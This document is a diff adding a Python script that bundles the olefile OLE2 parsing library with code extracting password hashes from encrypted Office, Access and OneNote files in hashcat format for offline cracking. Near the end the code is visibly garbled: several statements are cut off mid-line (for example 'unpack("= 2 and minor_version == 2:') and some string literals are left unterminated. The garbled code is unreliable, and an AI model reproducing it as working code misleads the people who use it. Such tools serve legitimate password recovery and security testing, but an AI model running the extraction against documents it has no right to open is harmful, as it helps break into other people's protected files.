+ for i in iterrange(nb_difat):
+ debug("DIFAT block %d, sector %X" % (i, isect_difat))
+ # TODO: check if corresponding FAT SID = DIFSECT
+ sector_difat = self.getsect(isect_difat)
+ difat = self.sect2array(sector_difat)
+ self.dumpsect(sector_difat)
+ self.loadfat_sect(difat[:nb_difat_sectors])
+ # last DIFAT pointer is next DIFAT sector:
+ isect_difat = difat[nb_difat_sectors]
+ debug("next DIFAT sector: %X" % isect_difat)
+ # checks:
+ if isect_difat not in [ENDOFCHAIN, FREESECT]:
+ # last DIFAT pointer value must be ENDOFCHAIN or FREESECT
+ raise IOError("incorrect end of DIFAT")
+ # if len(self.fat) != self.csectFat:
+ # # FAT should contain csectFat blocks
+ # print("FAT length: %d instead of %d" % (len(self.fat), self.csectFat))
+ # raise IOError('incorrect DIFAT')
+ # since FAT is read from fixed-size sectors, it may contain more values
+ # than the actual number of sectors in the file.
+ # Keep only the relevant sector indexes:
+ if len(self.fat) > self.nb_sect:
+ debug("len(fat)=%d, shrunk to nb_sect=%d" % (len(self.fat), self.nb_sect))
+ self.fat = self.fat[: self.nb_sect]
+ debug("\nFAT:")
+ self.dumpfat(self.fat)
+
+ def loadminifat(self):
+ """
+ Load the MiniFAT table.
+ """
+ # MiniFAT is stored in a standard sub-stream, pointed to by a header
+ # field.
+ # NOTE: there are two sizes to take into account for this stream:
+ # 1) Stream size is calculated according to the number of sectors
+ # declared in the OLE header. This allocated stream may be more than
+ # needed to store the actual sector indexes.
+ # (self.csectMiniFat is the number of sectors of size self.SectorSize)
+ stream_size = self.csectMiniFat * self.SectorSize
+ # 2) Actually used size is calculated by dividing the MiniStream size
+ # (given by root entry size) by the size of mini sectors, *4 for
+ # 32 bits indexes:
+ nb_minisectors = (self.root.size + self.MiniSectorSize - 1) // self.MiniSectorSize
+ used_size = nb_minisectors * 4
+ debug("loadminifat(): minifatsect=%d, nb FAT sectors=%d, used_size=%d, stream_size=%d, nb MiniSectors=%d" % (self.minifatsect, self.csectMiniFat, used_size, stream_size, nb_minisectors))
+ if used_size > stream_size:
+ # This is not really a problem, but may indicate a wrong implementation:
+ self._raise_defect(DEFECT_INCORRECT, "OLE MiniStream is larger than MiniFAT")
+ # In any case, first read stream_size:
+ s = self._open(self.minifatsect, stream_size, force_FAT=True).read()
+ # [PL] Old code replaced by an array:
+ # self.minifat = [i32(s, i) for i in range(0, len(s), 4)]
+ self.minifat = self.sect2array(s)
+ # Then shrink the array to used size, to avoid indexes out of MiniStream:
+ debug("MiniFAT shrunk from %d to %d sectors" % (len(self.minifat), nb_minisectors))
+ self.minifat = self.minifat[:nb_minisectors]
+ debug("loadminifat(): len=%d" % len(self.minifat))
+ debug("\nMiniFAT:")
+ self.dumpfat(self.minifat)
+
+ def getsect(self, sect):
+ """
+ Read given sector from file on disk.
+
+ :param sect: int, sector index
+ :returns: a string containing the sector data.
+ """
+ # From [MS-CFB]: A sector number can be converted into a byte offset
+ # into the file by using the following formula:
+ # (sector number + 1) x Sector Size.
+ # This implies that sector #0 of the file begins at byte offset Sector
+ # Size, not at 0.
+
+ # [PL] the original code in PIL was wrong when sectors are 4KB instead of
+ # 512 bytes:
+ # self.fp.seek(512 + self.sectorsize * sect)
+ # [PL]: added safety checks:
+ # print("getsect(%X)" % sect)
+ try:
+ self.fp.seek(self.sectorsize * (sect + 1))
+ except:
+ debug("getsect(): sect=%X, seek=%d, filesize=%d" % (sect, self.sectorsize * (sect + 1), self._filesize))
+ self._raise_defect(DEFECT_FATAL, "OLE sector index out of range")
+ sector = self.fp.read(self.sectorsize)
+ if len(sector) != self.sectorsize:
+ debug("getsect(): sect=%X, read=%d, sectorsize=%d" % (sect, len(sector), self.sectorsize))
+ self._raise_defect(DEFECT_FATAL, "incomplete OLE sector")
+ return sector
+
+ def write_sect(self, sect, data, padding=b"\x00"):
+ """
+ Write given sector to file on disk.
+
+ :param sect: int, sector index
+ :param data: bytes, sector data
+ :param padding: single byte, padding character if data < sector size
+ """
+ if not isinstance(data, bytes):
+ raise TypeError("write_sect: data must be a bytes string")
+ if not isinstance(padding, bytes) or len(padding) != 1:
+ raise TypeError("write_sect: padding must be a bytes string of 1 char")
+ # TODO: we could allow padding=None for no padding at all
+ try:
+ self.fp.seek(self.sectorsize * (sect + 1))
+ except:
+ debug("write_sect(): sect=%X, seek=%d, filesize=%d" % (sect, self.sectorsize * (sect + 1), self._filesize))
+ self._raise_defect(DEFECT_FATAL, "OLE sector index out of range")
+ if len(data) < self.sectorsize:
+ # add padding
+ data += padding * (self.sectorsize - len(data))
+ elif len(data) < self.sectorsize:
+ raise ValueError("Data is larger than sector size")
+ self.fp.write(data)
+
+ def loaddirectory(self, sect):
+ """
+ Load the directory.
+
+ :param sect: sector index of directory stream.
+ """
+ # The directory is stored in a standard
+ # substream, independent of its size.
+
+ # open directory stream as a read-only file:
+ # (stream size is not known in advance)
+ self.directory_fp = self._open(sect)
+
+ # [PL] to detect malformed documents and avoid DoS attacks, the maximum
+ # number of directory entries can be calculated:
+ max_entries = self.directory_fp.size // 128
+ debug("loaddirectory: size=%d, max_entries=%d" % (self.directory_fp.size, max_entries))
+
+ # Create list of directory entries
+ # self.direntries = []
+ # We start with a list of "None" object
+ self.direntries = [None] * max_entries
+ # for sid in iterrange(max_entries):
+ # entry = fp.read(128)
+ # if not entry:
+ # break
+ # self.direntries.append(_OleDirectoryEntry(entry, sid, self))
+ # load root entry:
+ root_entry = self._load_direntry(0)
+ # Root entry is the first entry:
+ self.root = self.direntries[0]
+ # read and build all storage trees, starting from the root:
+ self.root.build_storage_tree()
+
+ def _load_direntry(self, sid):
+ """
+ Load a directory entry from the directory.
+ This method should only be called once for each storage/stream when
+ loading the directory.
+
+ :param sid: index of storage/stream in the directory.
+ :returns: a _OleDirectoryEntry object
+
+ :exception IOError: if the entry has always been referenced.
+ """
+ # check if SID is OK:
+ if sid < 0 or sid >= len(self.direntries):
+ self._raise_defect(DEFECT_FATAL, "OLE directory index out of range")
+ # check if entry was already referenced:
+ if self.direntries[sid] is not None:
+ self._raise_defect(DEFECT_INCORRECT, "double reference for OLE stream/storage")
+ # if exception not raised, return the object
+ return self.direntries[sid]
+ self.directory_fp.seek(sid * 128)
+ entry = self.directory_fp.read(128)
+ self.direntries[sid] = _OleDirectoryEntry(entry, sid, self)
+ return self.direntries[sid]
+
+ def dumpdirectory(self):
+ """
+ Dump directory (for debugging only)
+ """
+ self.root.dump()
+
+ def _open(self, start, size=0x7FFFFFFF, force_FAT=False):
+ """
+ Open a stream, either in FAT or MiniFAT according to its size.
+ (openstream helper)
+
+ :param start: index of first sector
+ :param size: size of stream (or nothing if size is unknown)
+ :param force_FAT: if False (default), stream will be opened in FAT or MiniFAT
+ according to size. If True, it will always be opened in FAT.
+ """
+ debug("OleFileIO.open(): sect=%d, size=%d, force_FAT=%s" % (start, size, str(force_FAT)))
+ # stream size is compared to the MiniSectorCutoff threshold:
+ if size < self.minisectorcutoff and not force_FAT:
+ # ministream object
+ if not self.ministream:
+ # load MiniFAT if it wasn't already done:
+ self.loadminifat()
+ # The first sector index of the miniFAT stream is stored in the
+ # root directory entry:
+ size_ministream = self.root.size
+ debug("Opening MiniStream: sect=%d, size=%d" % (self.root.isectStart, size_ministream))
+ self.ministream = self._open(self.root.isectStart, size_ministream, force_FAT=True)
+ return _OleStream(fp=self.ministream, sect=start, size=size, offset=0, sectorsize=self.minisectorsize, fat=self.minifat, filesize=self.ministream.size)
+ else:
+ # standard stream
+ return _OleStream(fp=self.fp, sect=start, size=size, offset=self.sectorsize, sectorsize=self.sectorsize, fat=self.fat, filesize=self._filesize)
+
+ def _list(self, files, prefix, node, streams=True, storages=False):
+ """
+ listdir helper
+
+ :param files: list of files to fill in
+ :param prefix: current location in storage tree (list of names)
+ :param node: current node (_OleDirectoryEntry object)
+ :param streams: bool, include streams if True (True by default) - new in v0.26
+ :param storages: bool, include storages if True (False by default) - new in v0.26
+ (note: the root storage is never included)
+ """
+ prefix = prefix + [node.name]
+ for entry in node.kids:
+ if entry.entry_type == STGTY_STORAGE:
+ # this is a storage
+ if storages:
+ # add it to the list
+ files.append(prefix[1:] + [entry.name])
+ # check its kids
+ self._list(files, prefix, entry, streams, storages)
+ elif entry.entry_type == STGTY_STREAM:
+ # this is a stream
+ if streams:
+ # add it to the list
+ files.append(prefix[1:] + [entry.name])
+ else:
+ self._raise_defect(DEFECT_INCORRECT, "The directory tree contains an entry which is not a stream nor a storage.")
+
+ def listdir(self, streams=True, storages=False):
+ """
+ Return a list of streams and/or storages stored in this file
+
+ :param streams: bool, include streams if True (True by default) - new in v0.26
+ :param storages: bool, include storages if True (False by default) - new in v0.26
+ (note: the root storage is never included)
+ :returns: list of stream and/or storage paths
+ """
+ files = []
+ self._list(files, [], self.root, streams, storages)
+ return files
+
+ def _find(self, filename):
+ """
+ Returns directory entry of given filename. (openstream helper)
+ Note: this method is case-insensitive.
+
+ :param filename: path of stream in storage tree (except root entry), either:
+
+ - a string using Unix path syntax, for example:
+ 'storage_1/storage_1.2/stream'
+ - or a list of storage filenames, path to the desired stream/storage.
+ Example: ['storage_1', 'storage_1.2', 'stream']
+
+ :returns: sid of requested filename
+ :exception IOError: if file not found
+ """
+
+ # if filename is a string instead of a list, split it on slashes to
+ # convert to a list:
+ if isinstance(filename, basestring):
+ filename = filename.split("/")
+ # walk across storage tree, following given path:
+ node = self.root
+ for name in filename:
+ for kid in node.kids:
+ if kid.name.lower() == name.lower():
+ break
+ else:
+ raise IOError("file not found")
+ node = kid
+ return node.sid
+
+ def openstream(self, filename):
+ """
+ Open a stream as a read-only file object (BytesIO).
+ Note: filename is case-insensitive.
+
+ :param filename: path of stream in storage tree (except root entry), either:
+
+ - a string using Unix path syntax, for example:
+ 'storage_1/storage_1.2/stream'
+ - or a list of storage filenames, path to the desired stream/storage.
+ Example: ['storage_1', 'storage_1.2', 'stream']
+
+ :returns: file object (read-only)
+ :exception IOError: if filename not found, or if this is not a stream.
+ """
+ sid = self._find(filename)
+ entry = self.direntries[sid]
+ if entry.entry_type != STGTY_STREAM:
+ raise IOError("this file is not a stream")
+ return self._open(entry.isectStart, entry.size)
+
+ def write_stream(self, stream_name, data):
+ """
+ Write a stream to disk. For now, it is only possible to replace an
+ existing stream by data of the same size.
+
+ :param stream_name: path of stream in storage tree (except root entry), either:
+
+ - a string using Unix path syntax, for example:
+ 'storage_1/storage_1.2/stream'
+ - or a list of storage filenames, path to the desired stream/storage.
+ Example: ['storage_1', 'storage_1.2', 'stream']
+
+ :param data: bytes, data to be written, must be the same size as the original
+ stream.
+ """
+ if not isinstance(data, bytes):
+ raise TypeError("write_stream: data must be a bytes string")
+ sid = self._find(stream_name)
+ entry = self.direntries[sid]
+ if entry.entry_type != STGTY_STREAM:
+ raise IOError("this is not a stream")
+ size = entry.size
+ if size != len(data):
+ raise ValueError("write_stream: data must be the same size as the existing stream")
+ if size < self.minisectorcutoff:
+ raise NotImplementedError("Writing a stream in MiniFAT is not implemented yet")
+ sect = entry.isectStart
+ # number of sectors to write
+ nb_sectors = (size + (self.sectorsize - 1)) // self.sectorsize
+ debug("nb_sectors = %d" % nb_sectors)
+ for i in range(nb_sectors):
+ # try:
+ # self.fp.seek(offset + self.sectorsize * sect)
+ # except:
+ # debug('sect=%d, seek=%d' %
+ # (sect, offset+self.sectorsize*sect))
+ # raise IOError('OLE sector index out of range')
+ # extract one sector from data, the last one being smaller:
+ if i < (nb_sectors - 1):
+ data_sector = data[i * self.sectorsize : (i + 1) * self.sectorsize]
+ # TODO: comment this if it works
+ assert len(data_sector) == self.sectorsize
+ else:
+ data_sector = data[i * self.sectorsize :]
+ # TODO: comment this if it works
+ debug("write_stream: size=%d sectorsize=%d data_sector=%d size%%sectorsize=%d" % (size, self.sectorsize, len(data_sector), size % self.sectorsize))
+ assert len(data_sector) % self.sectorsize == size % self.sectorsize
+ self.write_sect(sect, data_sector)
+ # self.fp.write(data_sector)
+ # jump to next sector in the FAT:
+ try:
+ sect = self.fat[sect]
+ except IndexError:
+ # [PL] if pointer is out of the FAT an exception is raised
+ raise IOError("incorrect OLE FAT, sector index out of range")
+ # [PL] Last sector should be a "end of chain" marker:
+ if sect != ENDOFCHAIN:
+ raise IOError("incorrect last sector index in OLE stream")
+
+ def get_type(self, filename):
+ """
+ Test if given filename exists as a stream or a storage in the OLE
+ container, and return its type.
+
+ :param filename: path of stream in storage tree. (see openstream for syntax)
+ :returns: False if object does not exist, its entry type (>0) otherwise:
+
+ - STGTY_STREAM: a stream
+ - STGTY_STORAGE: a storage
+ - STGTY_ROOT: the root entry
+ """
+ try:
+ sid = self._find(filename)
+ entry = self.direntries[sid]
+ return entry.entry_type
+ except:
+ return False
+
+ def getmtime(self, filename):
+ """
+ Return modification time of a stream/storage.
+
+ :param filename: path of stream/storage in storage tree. (see openstream for
+ syntax)
+ :returns: None if modification time is null, a python datetime object
+ otherwise (UTC timezone)
+
+ new in version 0.26
+ """
+ sid = self._find(filename)
+ entry = self.direntries[sid]
+ return entry.getmtime()
+
+ def getctime(self, filename):
+ """
+ Return creation time of a stream/storage.
+
+ :param filename: path of stream/storage in storage tree. (see openstream for
+ syntax)
+ :returns: None if creation time is null, a python datetime object
+ otherwise (UTC timezone)
+
+ new in version 0.26
+ """
+ sid = self._find(filename)
+ entry = self.direntries[sid]
+ return entry.getctime()
+
+ def exists(self, filename):
+ """
+ Test if given filename exists as a stream or a storage in the OLE
+ container.
+ Note: filename is case-insensitive.
+
+ :param filename: path of stream in storage tree. (see openstream for syntax)
+ :returns: True if object exist, else False.
+ """
+ try:
+ sid = self._find(filename)
+ return True
+ except:
+ return False
+
+ def get_size(self, filename):
+ """
+ Return size of a stream in the OLE container, in bytes.
+
+ :param filename: path of stream in storage tree (see openstream for syntax)
+ :returns: size in bytes (long integer)
+ :exception IOError: if file not found
+ :exception TypeError: if this is not a stream.
+ """
+ sid = self._find(filename)
+ entry = self.direntries[sid]
+ if entry.entry_type != STGTY_STREAM:
+ # TODO: Should it return zero instead of raising an exception ?
+ raise TypeError("object is not an OLE stream")
+ return entry.size
+
+ def get_rootentry_name(self):
+ """
+ Return root entry name. Should usually be 'Root Entry' or 'R' in most
+ implementations.
+ """
+ return self.root.name
+
+ def getproperties(self, filename, convert_time=False, no_conversion=None):
+ """
+ Return properties described in substream.
+
+ :param filename: path of stream in storage tree (see openstream for syntax)
+ :param convert_time: bool, if True timestamps will be converted to Python datetime
+ :param no_conversion: None or list of int, timestamps not to be converted
+ (for example total editing time is not a real timestamp)
+
+ :returns: a dictionary of values indexed by id (integer)
+ """
+ # REFERENCE: [MS-OLEPS] https://msdn.microsoft.com/en-us/library/dd942421.aspx
+ # make sure no_conversion is a list, just to simplify code below:
+ if no_conversion == None:
+ no_conversion = []
+ # stream path as a string to report exceptions:
+ streampath = filename
+ if not isinstance(streampath, str):
+ streampath = "/".join(streampath)
+
+ fp = self.openstream(filename)
+
+ data = {}
+
+ try:
+ # header
+ s = fp.read(28)
+ clsid = _clsid(s[8:24])
+
+ # format id
+ s = fp.read(20)
+ fmtid = _clsid(s[:16])
+ fp.seek(i32(s, 16))
+
+ # get section
+ s = b"****" + fp.read(i32(fp.read(4)) - 4)
+ # number of properties:
+ num_props = i32(s, 4)
+ except BaseException as exc:
+ # catch exception while parsing property header, and only raise
+ # a DEFECT_INCORRECT then return an empty dict, because this is not
+ # a fatal error when parsing the whole file
+ msg = "Error while parsing properties header in stream %s: %s" % (repr(streampath), exc)
+ self._raise_defect(DEFECT_INCORRECT, msg, type(exc))
+ return data
+
+ for i in range(num_props):
+ try:
+ id = 0 # just in case of an exception
+ id = i32(s, 8 + i * 8)
+ offset = i32(s, 12 + i * 8)
+ type = i32(s, offset)
+
+ debug("property id=%d: type=%d offset=%X" % (id, type, offset))
+
+ # test for common types first (should perhaps use
+ # a dictionary instead?)
+
+ if type == VT_I2: # 16-bit signed integer
+ value = i16(s, offset + 4)
+ if value >= 32768:
+ value = value - 65536
+ elif type == VT_UI2: # 2-byte unsigned integer
+ value = i16(s, offset + 4)
+ elif type in (VT_I4, VT_INT, VT_ERROR):
+ # VT_I4: 32-bit signed integer
+ # VT_ERROR: HRESULT, similar to 32-bit signed integer,
+ # see http://msdn.microsoft.com/en-us/library/cc230330.aspx
+ value = i32(s, offset + 4)
+ elif type in (VT_UI4, VT_UINT): # 4-byte unsigned integer
+ value = i32(s, offset + 4) # FIXME
+ elif type in (VT_BSTR, VT_LPSTR):
+ # CodePageString, see http://msdn.microsoft.com/en-us/library/dd942354.aspx
+ # size is a 32 bits integer, including the null terminator, and
+ # possibly trailing or embedded null chars
+ # TODO: if codepage is unicode, the string should be converted as such
+ count = i32(s, offset + 4)
+ value = s[offset + 8 : offset + 8 + count - 1]
+ # remove all null chars:
+ value = value.replace(b"\x00", b"")
+ elif type == VT_BLOB:
+ # binary large object (BLOB)
+ # see http://msdn.microsoft.com/en-us/library/dd942282.aspx
+ count = i32(s, offset + 4)
+ value = s[offset + 8 : offset + 8 + count]
+ elif type == VT_LPWSTR:
+ # UnicodeString
+ # see http://msdn.microsoft.com/en-us/library/dd942313.aspx
+ # "the string should NOT contain embedded or additional trailing
+ # null characters."
+ count = i32(s, offset + 4)
+ value = self._decode_utf16_str(s[offset + 8 : offset + 8 + count * 2])
+ elif type == VT_FILETIME:
+ value = long(i32(s, offset + 4)) + (long(i32(s, offset + 8)) << 32)
+ # FILETIME is a 64-bit int: "number of 100ns periods
+ # since Jan 1,1601".
+ if convert_time and id not in no_conversion:
+ debug("Converting property #%d to python datetime, value=%d=%fs" % (id, value, float(value) / 10000000))
+ # convert FILETIME to Python datetime.datetime
+ # inspired from http://code.activestate.com/recipes/511425-filetime-to-datetime/
+ _FILETIME_null_date = datetime.datetime(1601, 1, 1, 0, 0, 0)
+ debug("timedelta days=%d" % (value // (10 * 1000000 * 3600 * 24)))
+ value = _FILETIME_null_date + datetime.timedelta(microseconds=value // 10)
+ else:
+ # legacy code kept for backward compatibility: returns a
+ # number of seconds since Jan 1,1601
+ value = value // 10000000 # seconds
+ elif type == VT_UI1: # 1-byte unsigned integer
+ value = i8(s[offset + 4])
+ elif type == VT_CLSID:
+ value = _clsid(s[offset + 4 : offset + 20])
+ elif type == VT_CF:
+ # PropertyIdentifier or ClipboardData??
+ # see http://msdn.microsoft.com/en-us/library/dd941945.aspx
+ count = i32(s, offset + 4)
+ value = s[offset + 8 : offset + 8 + count]
+ elif type == VT_BOOL:
+ # VARIANT_BOOL, 16 bits bool, 0x0000=Fals, 0xFFFF=True
+ # see http://msdn.microsoft.com/en-us/library/cc237864.aspx
+ value = bool(i16(s, offset + 4))
+ else:
+ value = None # everything else yields "None"
+ debug("property id=%d: type=%d not implemented in parser yet" % (id, type))
+
+ # missing: VT_EMPTY, VT_NULL, VT_R4, VT_R8, VT_CY, VT_DATE,
+ # VT_DECIMAL, VT_I1, VT_I8, VT_UI8,
+ # see http://msdn.microsoft.com/en-us/library/dd942033.aspx
+
+ # FIXME: add support for VT_VECTOR
+ # VT_VECTOR is a 32 uint giving the number of items, followed by
+ # the items in sequence. The VT_VECTOR value is combined with the
+ # type of items, e.g. VT_VECTOR|VT_BSTR
+ # see http://msdn.microsoft.com/en-us/library/dd942011.aspx
+
+ # print("%08x" % id, repr(value), end=" ")
+ # print("(%s)" % VT[i32(s, offset) & 0xFFF])
+
+ data[id] = value
+ except BaseException as exc:
+ # catch exception while parsing each property, and only raise
+ # a DEFECT_INCORRECT, because parsing can go on
+ msg = "Error while parsing property id %d in stream %s: %s" % (id, repr(streampath), exc)
+ self._raise_defect(DEFECT_INCORRECT, msg, type(exc))
+
+ return data
+
+ def get_metadata(self):
+ """
+ Parse standard properties streams, return an OleMetadata object
+ containing all the available metadata.
+ (also stored in the metadata attribute of the OleFileIO object)
+
+ new in version 0.25
+ """
+ self.metadata = OleMetadata()
+ self.metadata.parse_properties(self)
+ return self.metadata
+
+
+#
+# --------------------------------------------------------------------
+# This script can be used to dump the directory of any OLE2 structured
+# storage file.
+
+if __name__ == "__main__disabled":
+
+ # Standard Libraries
+ import sys
+
+ # [PL] display quick usage info if launched from command-line
+ if len(sys.argv) <= 1:
+ print("olefile version %s %s - %s" % (__version__, __date__, __author__))
+ print(
+ """
+Launched from the command line, this script parses OLE files and prints info.
+
+Usage: olefile.py [-d] [-c] [file2 ...]
+
+Options:
+-d : debug mode (displays a lot of debug information, for developers only)
+-c : check all streams (for debugging purposes)
+
+For more information, see http://www.decalage.info/olefile
+"""
+ )
+ sys.exit()
+
+ check_streams = False
+ for filename in sys.argv[1:]:
+ # try:
+ # OPTIONS:
+ if filename == "-d":
+ # option to switch debug mode on:
+ set_debug_mode(True)
+ continue
+ if filename == "-c":
+ # option to switch check streams mode on:
+ check_streams = True
+ continue
+
+ ole = OleFileIO(filename) # , raise_defects=DEFECT_INCORRECT)
+ print("-" * 68)
+ print(filename)
+ print("-" * 68)
+ ole.dumpdirectory()
+ for streamname in ole.listdir():
+ if streamname[-1][0] == "\005":
+ print(streamname, ": properties")
+ props = ole.getproperties(streamname, convert_time=True)
+ props = sorted(props.items())
+ for k, v in props:
+ # [PL]: avoid to display too large or binary values:
+ if isinstance(v, (basestring, bytes)):
+ if len(v) > 50:
+ v = v[:50]
+ if isinstance(v, bytes):
+ # quick and dirty binary check:
+ for c in (1, 2, 3, 4, 5, 6, 7, 11, 12, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31):
+ if c in bytearray(v):
+ v = "(binary data)"
+ break
+ print(" ", k, v)
+
+ if check_streams:
+ # Read all streams to check if there are errors:
+ print("\nChecking streams...")
+ for streamname in ole.listdir():
+ # print name using repr() to convert binary chars to \xNN:
+ print("-", repr("/".join(streamname)), "-", end=" ")
+ st_type = ole.get_type(streamname)
+ if st_type == STGTY_STREAM:
+ print("size %d" % ole.get_size(streamname))
+ # just try to read stream in memory:
+ ole.openstream(streamname)
+ else:
+ print("NOT a stream : type=%d" % st_type)
+ print()
+
+ # for streamname in ole.listdir():
+ # # print name using repr() to convert binary chars to \xNN:
+ # print('-', repr('/'.join(streamname)),'-', end=' ')
+ # print(ole.getmtime(streamname))
+ # print()
+
+ print("Modification/Creation times of all directory entries:")
+ for entry in ole.direntries:
+ if entry is not None:
+ print("- %s: mtime=%s ctime=%s" % (entry.name, entry.getmtime(), entry.getctime()))
+ print()
+
+ # parse and display metadata:
+ meta = ole.get_metadata()
+ meta.dump()
+ print()
+ # [PL] Test a few new methods:
+ root = ole.get_rootentry_name()
+ print('Root entry name: "%s"' % root)
+ if ole.exists("worddocument"):
+ print("This is a Word document.")
+ print("type of stream 'WordDocument':", ole.get_type("worddocument"))
+ print("size :", ole.get_size("worddocument"))
+ if ole.exists("macros/vba"):
+ print("This document may contain VBA macros.")
+
+ # print parsing issues:
+ print("\nNon-fatal issues raised during parsing:")
+ if ole.parsing_issues:
+ for exctype, msg in ole.parsing_issues:
+ print("- %s: %s" % (exctype.__name__, msg))
+ else:
+ print("None")
+## except IOError as v:
+## print("***", "cannot read", file, "-", v)
+
+# this code was developed while listening to The Wedding Present "Sea Monsters"
+
+
+##### borrowed library code ends, program starts #####
+
+# This software is Copyright (c) 2012-2013 Dhiru Kholia
+# and is licensed under the same license as used by the OleFileIO_PL library,
+# which is included below.
+
+PY3 = sys.version_info[0] == 3
+
+if not PY3:
+ reload(sys)
+ sys.setdefaultencoding("utf8")
+if PY3:
+ # Standard Libraries
+ from io import BytesIO as StringIO
+else:
+ from StringIO import StringIO
+
+# Standard Libraries
+import binascii
+from struct import unpack
+
+
+def find_rc4_passinfo_xls(filename, stream, hashcat_format=True):
+ """
+ Initial version of this function was based on a blog entry posted by
+ Worawit (sleepya) at http://auntitled.blogspot.in site.
+
+ Since then this function has been heavily modified and extended.
+
+ http://msdn.microsoft.com/en-us/library/dd908560%28v=office.12%29
+ http://msdn.microsoft.com/en-us/library/dd920360%28v=office.12%29
+ """
+
+ while True:
+ pos = stream.tell()
+ if pos >= stream.size:
+ break # eof
+
+ type = unpack("= 2 and minor_version == 2:
+ # RC4 CryptoAPI Encryption Header
+ unpack("= 2 and minor_version == 2:
+ # RC4 CryptoAPI Encryption Header
+ unpack("= 2 and minor_version == 2:
+ pass
+ else:
+ continue
+ # RC4 CryptoAPI Encryption Header, Section 2.3.5.1 - RC4 CryptoAPI
+ # Encryption Header in [MS-OFFCRYPTO].pdf
+ unpack(" -1:
+ sys.stderr.write("%s uses un-supported cipher algorithm %s, please file a bug! \n" % (filename, cipherAlgorithm))
+ return -4
+
+ saltValue = node.attrib.get("saltValue")
+ assert saltValue
+ encryptedVerifierHashInput = node.attrib.get("encryptedVerifierHashInput")
+ encryptedVerifierHashValue = node.attrib.get("encryptedVerifierHashValue")
+ if PY3:
+ encryptedVerifierHashValue = binascii.hexlify(base64.decodebytes(encryptedVerifierHashValue.encode()))
+ else:
+ encryptedVerifierHashValue = binascii.hexlify(base64.decodestring(encryptedVerifierHashValue.encode()))
+
+ if PY3:
+ saltAscii = binascii.hexlify(base64.decodebytes(saltValue.encode())).decode("ascii")
+ encryptedVerifierHashAscii = binascii.hexlify(base64.decodebytes(encryptedVerifierHashInput.encode())).decode("ascii")
+ else:
+ saltAscii = binascii.hexlify(base64.decodestring(saltValue.encode())).decode("ascii")
+ encryptedVerifierHashAscii = binascii.hexlify(base64.decodestring(encryptedVerifierHashInput.encode())).decode("ascii")
+
+ if hashcat_format:
+ sys.stdout.write("$office$*%d*%d*%d*%d*%s*%s*%s\n" % (version, int(spinCount), int(keyBits), int(saltSize), saltAscii, encryptedVerifierHashAscii, encryptedVerifierHashValue[0:64].decode("ascii")))
+ else:
+ sys.stdout.write("%s:$office$*%d*%d*%d*%d*%s*%s*%s\n" % (os.path.basename(filename), version, int(spinCount), int(keyBits), int(saltSize), saltAscii, encryptedVerifierHashAscii, encryptedVerifierHashValue[0:64].decode("ascii")))
+ return 0
+
+
+have_summary = False
+summary = []
+
+# Standard Libraries
+import re
+from binascii import unhexlify
+
+
+def remove_html_tags(data):
+ p = re.compile(r"<.*?>", re.DOTALL)
+ return p.sub("", str(data))
+
+
+def remove_extra_spaces(data):
+ p = re.compile(r"\s+")
+ return p.sub(" ", data)
+
+
+def process_file(filename, hashcat_format=True):
+ # Test if a file is an OLE container
+ try:
+ f = open(filename, "rb")
+ data = f.read(81920) # is this enough?
+ if data[0:2] == b"PK":
+ # sys.stderr.write("%s : zip container found, file is " \
+ # "unencrypted?, invalid OLE file!\n" % filename)
+ f.close()
+ return 1
+ f.close()
+
+ # ACCDB handling hack for MS Access >= 2007 (Office 12)
+ accdb_magic = b"Standard ACE DB"
+ accdb_xml_start = b'"
+ if accdb_magic in data and accdb_xml_start in data:
+ # find start and the end of the XML metadata stream
+ start = data.find(accdb_xml_start)
+ trailer = data.find(accdb_xml_trailer)
+ xml_metadata_parser(data[start : trailer + len(accdb_xml_trailer)], filename)
+ return
+ elif accdb_magic in data: # Access 2007 files using CryptoAPI
+ process_access_2007_older_crypto(filename)
+ return
+
+ # OneNote handling hack for OneNote versions >= 2013, see [MS-ONESTORE].pdf
+ onenote_magic = unhexlify("e4525c7b8cd8")
+ onenote_xml_start = b'"
+ if data.startswith(onenote_magic) and onenote_xml_start in data:
+ # find start and the end of the XML metadata stream
+ start = data.find(onenote_xml_start)
+ trailer = data.find(onenote_xml_trailer)
+ xml_metadata_parser(data[start : trailer + len(onenote_xml_trailer)], filename)
+ return
+
+ if not isOleFile(filename):
+ sys.stderr.write("%s : Invalid OLE file\n" % filename)
+ return 1
+ except Exception:
+ e = sys.exc_info()[1]
+ # Standard Libraries
+ import traceback
+
+ traceback.print_exc()
+ sys.stderr.write("%s : OLE check failed, %s\n" % (filename, str(e)))
+ return 2
+
+ # Open OLE file:
+ ole = OleFileIO(filename)
+
+ stream = None
+
+ # find "summary" streams
+ global have_summary, summary
+ have_summary = False
+ summary = []
+
+ for streamname in ole.listdir():
+ streamname = streamname[-1]
+ if streamname[0] == "\005":
+ have_summary = True
+ props = ole.getproperties(streamname)
+ for k, v in props.items():
+ if v is None:
+ continue
+ if not PY3:
+ # We are only interested in strings
+ if not isinstance(v, unicode): # pyright: ignore[reportUndefinedVariable]
+ continue
+ else:
+ if not isinstance(v, str): # We are only interested in strings
+ continue
+ v = remove_html_tags(v)
+ v = v.replace(":", "")
+ v = remove_extra_spaces(v)
+ # words = v.split()
+ # words = filter(lambda x: len(x) < 20, words)
+ # v = " ".join(words)
+ summary.append(v)
+ summary = " ".join(summary)
+ summary = remove_extra_spaces(summary)
+
+ if ["EncryptionInfo"] in ole.listdir():
+ # process Office 2003 / 2010 / 2013 files
+ return process_new_office(filename)
+ if ["Workbook"] in ole.listdir():
+ stream = "Workbook"
+ elif ["Book"] in ole.listdir():
+ stream = "Book"
+ elif ["WordDocument"] in ole.listdir():
+ typ = 1
+ sdoc = ole.openstream("WordDocument")
+ stream = find_table(filename, sdoc)
+ if stream == "none":
+ return 5
+
+ elif ["PowerPoint Document"] in ole.listdir():
+ stream = "Current User"
+ else:
+ sys.stderr.write("%s : No supported streams found\n" % filename)
+ return 2
+
+ try:
+ workbookStream = ole.openstream(stream)
+ except:
+ # Standard Libraries
+ import traceback
+
+ traceback.print_exc()
+ sys.stderr.write("%s : stream %s not found!\n" % (filename, stream))
+ return 2
+
+ if workbookStream is None:
+ sys.stderr.write("%s : Error opening stream, %s\n" % filename)
+ (filename, stream)
+ return 3
+
+ if stream == "Workbook" or stream == "Book":
+ typ = 0
+ passinfo = find_rc4_passinfo_xls(filename, workbookStream)
+ if passinfo is None:
+ return 4
+ elif stream == "0Table" or stream == "1Table":
+ passinfo = find_rc4_passinfo_doc(filename, workbookStream)
